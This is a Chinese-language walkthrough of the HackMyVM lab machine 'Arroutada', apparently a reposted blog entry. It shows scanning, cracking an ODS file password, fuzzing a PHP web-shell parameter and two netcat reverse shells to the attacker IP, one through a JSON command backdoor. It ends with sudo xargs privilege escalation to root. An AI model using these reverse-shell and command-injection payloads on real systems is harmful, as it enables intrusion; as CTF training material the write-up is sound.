首页 > 其他分享 >[HMV] Arroutada

[HMV] Arroutada

时间:2023-03-28 12:04:01浏览次数:49  
标签:Arroutada http -- HMV drito XX 172.16 root

0x00 配置

攻击机 IP: 172.16.1.25

靶机 IP: 172.16.1.191

0x01 攻击

使用 Nmap 扫描目标靶机开放的端口

┌──(root㉿Kali-VM)-[~]
└─# nmap -sC -sV -p- 172.16.1.191
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 172.16.1.191
Host is up (0.00049s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.54 ((Debian))
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:B4:10:AA (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.49 seconds

只发现了 80 (HTTP) 端口,打开网页看看

image.png

只发现了一张图片,扫描一下后台试试

┌──(root㉿Kali-VM)-[~]
└─# dirb http://172.16.1.191/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Tue Mar 28 08:59:45 2023
URL_BASE: http://172.16.1.191/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://172.16.1.191/ ----
==> DIRECTORY: http://172.16.1.191/imgs/                                                                                             
+ http://172.16.1.191/index.html (CODE:200|SIZE:59)                                                                                  
+ http://172.16.1.191/server-status (CODE:403|SIZE:277)                                                                              
                                                                                                                                     
---- Entering directory: http://172.16.1.191/imgs/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                               
-----------------
END_TIME: Tue Mar 28 08:59:47 2023
DOWNLOADED: 4612 - FOUND: 2

什么也没找到,/img 目录里也只有主页的那张图片,看来只能从图片下手了。把图片下载下来,用 exiftool 分析

┌──(root㉿Kali-VM)-[~/work]
└─# exiftool apreton.png                              
ExifTool Version Number         : 12.57
File Name                       : apreton.png
Directory                       : .
File Size                       : 71 kB
File Modification Date/Time     : 2023:03:28 09:01:22+08:00
File Access Date/Time           : 2023:03:28 09:02:19+08:00
File Inode Change Date/Time     : 2023:03:28 09:02:19+08:00
File Permissions                : -rw-r--r--
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 1280
Image Height                    : 661
Bit Depth                       : 8
Color Type                      : Grayscale with Alpha
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Title                           : {"path": "/scout"}
Image Size                      : 1280x661
Megapixels                      : 0.846

发现了 {"path": "/scout"},在网页上访问

image.png

提示 J1 有一些重要文档存在 docs 目录里,但是他忘记了第一个路径,只记得第二个 docs 了。使用 BurpSuite 配合 SecLists 扫描看看

image.png

扫到了 j2 目录

image.png

打开 j2 目录,发现了 pass.txt、shellfile.ods,还有一堆大小为 0 的 z 开头的文件,其中 z206 里面有内容

# pass.txt
user:password
# z206
Ignore z*, please
Jabatito

pass.txt 和 z206 的消息似乎没什么用,继续看看 ods 文件。ods 是 LibreOffice 使用的开放格式 OpenDocument 的表格文件,对标的是 Excel 的 xls,ods 同样可以使用 Excel 打开

image.png

打开后提示有加密,搜索一番后找到资料,发现可以用 john 来破解 OpenDocument 文档的密码。先把 ods 文件转成 john hash 文件

┌──(root㉿Kali-VM)-[~/work]
└─# libreoffice2john ./shellfile.ods > ods.hash

然后使用 john 跑字典破解

┌──(root㉿Kali-VM)-[~/work]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt ./ods.hash
Using default input encoding: UTF-8
Loaded 1 password hash (ODF, OpenDocument Star/Libre/OpenOffice [PBKDF2-SHA1 256/256 AVX2 8x BF/AES])
Cost 1 (iteration count) is 100000 for all loaded hashes
Cost 2 (crypto [0=Blowfish 1=AES]) is 1 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
john11           (shellfile.ods)     
1g 0:00:00:13 DONE 0.07692g/s 1280p/s 1280c/s 1280C/s lachina..saranghae
Use the "--show --format=ODF" options to display all of the cracked passwords reliably
Session completed.

得到了密码之后,使用 在线解密工具 解密文件,得到未加密的 ods 文件,就可以使用 Excel 打开了

image.png

得到一个路径 /thejabasshell.php,在浏览器中打开发现没有返回,使用 BurpSuite 爆破 PHP 参数

image.png

爆破后得到参数为 a,不过返回信息有个 b 参数的报错

image.png

已经知道第一个参数是 a 了,继续爆破 b 参数

image.png

发现当 b 参数为 pass 的时候命令被成功执行

image.png

执行命令反弹 Shell

http://172.16.1.191/thejabasshell.php?a=nc%20-c%20sh%20172.16.1.25%205001&b=pass

在攻击机上接收到了反弹过来的 Shell

┌──(root㉿Kali-VM)-[~]
└─# nc -lvnp 5001
listening on [any] 5001 ...
connect to [172.16.1.25] from (UNKNOWN) [172.16.1.191] 34572
script /dev/null -c bash
Script started, output log file is '/dev/null'.

www-data@arroutada:/var/www/html$

先查看一下靶机中存在的用户

www-data@arroutada:/var/www/html$ cat /etc/passwd | grep /bin/bash
cat /etc/passwd | grep /bin/bash
root:x:0:0:root:/root:/bin/bash
drito:x:1001:1001::/home/drito:/bin/bash

发现了 drito 和 root 用户,现在要先从 www 用户提权到 drito 用户。通过 PEASS-ng 扫描,我们发现了一个仅对本地机器开放的 8000 端口

image.png

由于靶机没有 curl,所以直接 wget 试试

www-data@arroutada:/tmp$ wget http://127.0.0.1:8000/ > 8k.txt
wget http://127.0.0.1:8000/ > 8k.txt
--XXXX-XX-XX XX:XX:XX--  http://127.0.0.1:8000/
Connecting to 127.0.0.1:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 319 [text/html]
Saving to: 'index.html'

index.html          100%[===================>]     319  --.-KB/s    in 0s      

202X-XX-XX XX:XX:XX (122 MB/s) - 'index.html' saved [319/319]

得到了 index.html,使用 cat 查看它的内容

<h1>Service under maintenance</h1>


<br>


<h6>This site is from ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>---.+++++++++++..<<++.>++.>-----------.++.++++++++.<+++++.>++++++++++++++.<+++++++++.---------.<.>>-----------------.-------.++.++++++++.------.+++++++++++++.+.<<+..</h6>

<!-- Please sanitize /priv.php -->

看到了一串 Brainfuck 编码,解码一下

all HackMyVM hackers!!

下面还有一串提示,Please sanitize /priv.php,我们再请求一下 priv.php

www-data@arroutada:/tmp$ wget http://127.0.0.1:8000/priv.php
wget http://127.0.0.1:8000/priv.php
--XXXX-XX-XX XX:XX:XX--  http://127.0.0.1:8000/priv.php
Connecting to 127.0.0.1:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: 'priv.php'

priv.php                [ <=>                ]     308  --.-KB/s    in 0s      

XXXX-XX-XX XX:XX:XX (118 MB/s) - 'priv.php' saved [308]

使用 cat 查看 priv.php 返回的内容

Error: the "command" parameter is not specified in the request body.

/*

$json = file_get_contents('php://input');
$data = json_decode($json, true);

if (isset($data['command'])) {
    system($data['command']);
} else {
    echo 'Error: the "command" parameter is not specified in the request body.';
}

*/

返回内容里包含了 PHP 源码,这也是一个远程命令执行的后门,通过源码,我们可以很轻松地创建一个 payload

wget --post-data='{"command":"whoami"}' http://127.0.0.1:8000/priv.php -q -O -

运行 wget 后,我们发现 8000 端口的服务运行在 drito 用户下

www-data@arroutada:/tmp$ wget --post-data='{"command":"whoami"}' http://127.0.0.1:8000/priv.php -q -O -
<":"whoami"}' http://127.0.0.1:8000/priv.php -q -O -

drito


/*

$json = file_get_contents('php://input');
$data = json_decode($json, true);

if (isset($data['command'])) {
    system($data['command']);
} else {
    echo 'Error: the "command" parameter is not specified in the request body.';
}

*/

我们只需要在这里再次执行反弹 Shell,就可以得到 drito 用户的权限

www-data@arroutada:/tmp$ wget --post-data='{"command":"nc -c sh 172.16.1.25 5002"}' http://127.0.0.1:8000/priv.php -q -O -

反弹 Shell 成功后即提权到 drito

┌──(root㉿Kali-VM)-[~]
└─# nc -lvnp 5002
listening on [any] 5002 ...
connect to [172.16.1.25] from (UNKNOWN) [172.16.1.191] 42418
script /dev/null -c bash
Script started, output log file is '/dev/null'.

drito@arroutada:~/web$ id
id
uid=1001(drito) gid=1001(drito) groups=1001(drito)

drito@arroutada:~/web$ whoami
whoami
drito

在 drito 用户的家目录下找到了 user flag

drito@arroutada:~/web$ cd     
cd

drito@arroutada:~$ ls -al
ls -al
total 48
drwxr-x--- 3 drito drito  4096 Jan 10 10:51 .
drwxr-xr-x 3 root  root   4096 Jan  8 12:10 ..
-rw-r--r-- 1 drito drito   220 Mar 27  2022 .bash_logout
-rw-r--r-- 1 drito drito  3526 Mar 27  2022 .bashrc
-rw-r--r-- 1 drito drito   807 Mar 27  2022 .profile
---x--x--x 1 drito drito 16608 Jan  8 10:44 service
-r-------- 1 drito drito    33 Jan  8 12:19 user.txt
d-wx--x--x 2 drito drito  4096 Jan  8 12:17 web

drito@arroutada:~$ cat user.txt
cat user.txt
785f64437c6e1f9af6aa1afcc91ed27c

接下来就需要提权到 root 了,检查一下 drito 用户可以运行的 Sudo 命令

drito@arroutada:~$ sudo -l
sudo -l
Matching Defaults entries for drito on arroutada:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User drito may run the following commands on arroutada:
    (ALL : ALL) NOPASSWD: /usr/bin/xargs

我们现在可以运行 xargs 命令。查阅 GTFObins 后发现可以用于提权

drito@arroutada:~$ sudo xargs -a /dev/null sh
sudo xargs -a /dev/null sh

# id
id
uid=0(root) gid=0(root) groups=0(root)

# whoami 
whoami
root

提权后得到了 root flag

# ls -al
ls -al
total 28
drwx------  3 root root 4096 Jan  8 13:04 .
drwxr-xr-x 18 root root 4096 Jan  8 09:07 ..
-rw-------  1 root root   88 Jan  8 13:04 .bash_history
-rw-r--r--  1 root root  571 Apr 10  2021 .bashrc
drwxr-xr-x  3 root root 4096 Jan  8 09:14 .local
-rw-r--r--  1 root root  161 Jul  9  2019 .profile
-r--------  1 root root   37 Jan  8 12:29 root.txt

# cat root.txt
cat root.txt
R3VuYXhmR2JGenlOYXFOeXlVbnB4WmxJWg==

这里的 flag 是经过编码的,解码流程如下

R3VuYXhmR2JGenlOYXFOeXlVbnB4WmxJWg== (BASE64)
GunaxfGbFzyNaqNyyUnpxZlIZ (ROT13)
ThanksToSmlAndAllHackMyVM (Text)

0x02 总结

非常好的靶机,很有意思

标签:Arroutada,http,--,HMV,drito,XX,172.16,root
From: https://www.cnblogs.com/azwhikaru/p/17264599.html

相关文章

  • [HMV] Anaximandre
    0x00配置攻击机IP:172.16.1.25靶机IP:172.16.1.1060x01攻击使用Nmap扫描目标靶机开放的端口┌──(root㉿Kali-VM)-[~]└─#nmap-sC-sV-p-172.16.1.106......
  • [HMV] Friendly
    0x00配置攻击机IP:192.168.10.24靶机IP:192.168.10.230x01攻击使用Nmap扫描目标靶机开放的端口┌──(root㉿Kali)-[~]└─#nmap-sC-sV-p-192.168.10.2......
  • [HMV] Jabita
    0x00配置攻击机IP:172.16.1.25靶机IP:172.16.1.340x01攻击使用Nmap扫描目标靶机开放的端口┌──(root㉿Kali-VM)-[~]└─#nmap-sC-sV-p-172.16.1.34......
  • [HMV] Blackhat
    0x00配置攻击机IP:172.16.1.25靶机IP:172.16.1.1230x01攻击使用Nmap扫描目标靶机开放的端口┌──(root㉿Kali-VM)-[~]└─#nmap-sC-sV-p-172.16.1.123......
  • [HMV] Comet
    0x00配置攻击机IP:172.16.1.25靶机IP:172.16.1.2430x01攻击使用Nmap扫描目标靶机开放的端口┌──(root㉿Kali-VM)-[~]└─#nmap-sC-sV-p-172.16.1.243......
  • [HMV] Warrior
    0x00配置攻击机IP:172.16.1.25靶机IP:172.16.1.1770x01攻击使用Nmap扫描目标靶机开放的端口┌──(root㉿Kali-VM)-[~]└─#nmap-sC-sV-p-172.16.1.59......
  • [HMV] Teacher
    0x00配置攻击机IP:172.16.1.25靶机IP:172.16.1.750x01攻击使用Nmap扫描目标靶机开放的端口┌──(root㉿Kali-VM)-[~]└─#nmap-sC-sV-p-172.16.1.75......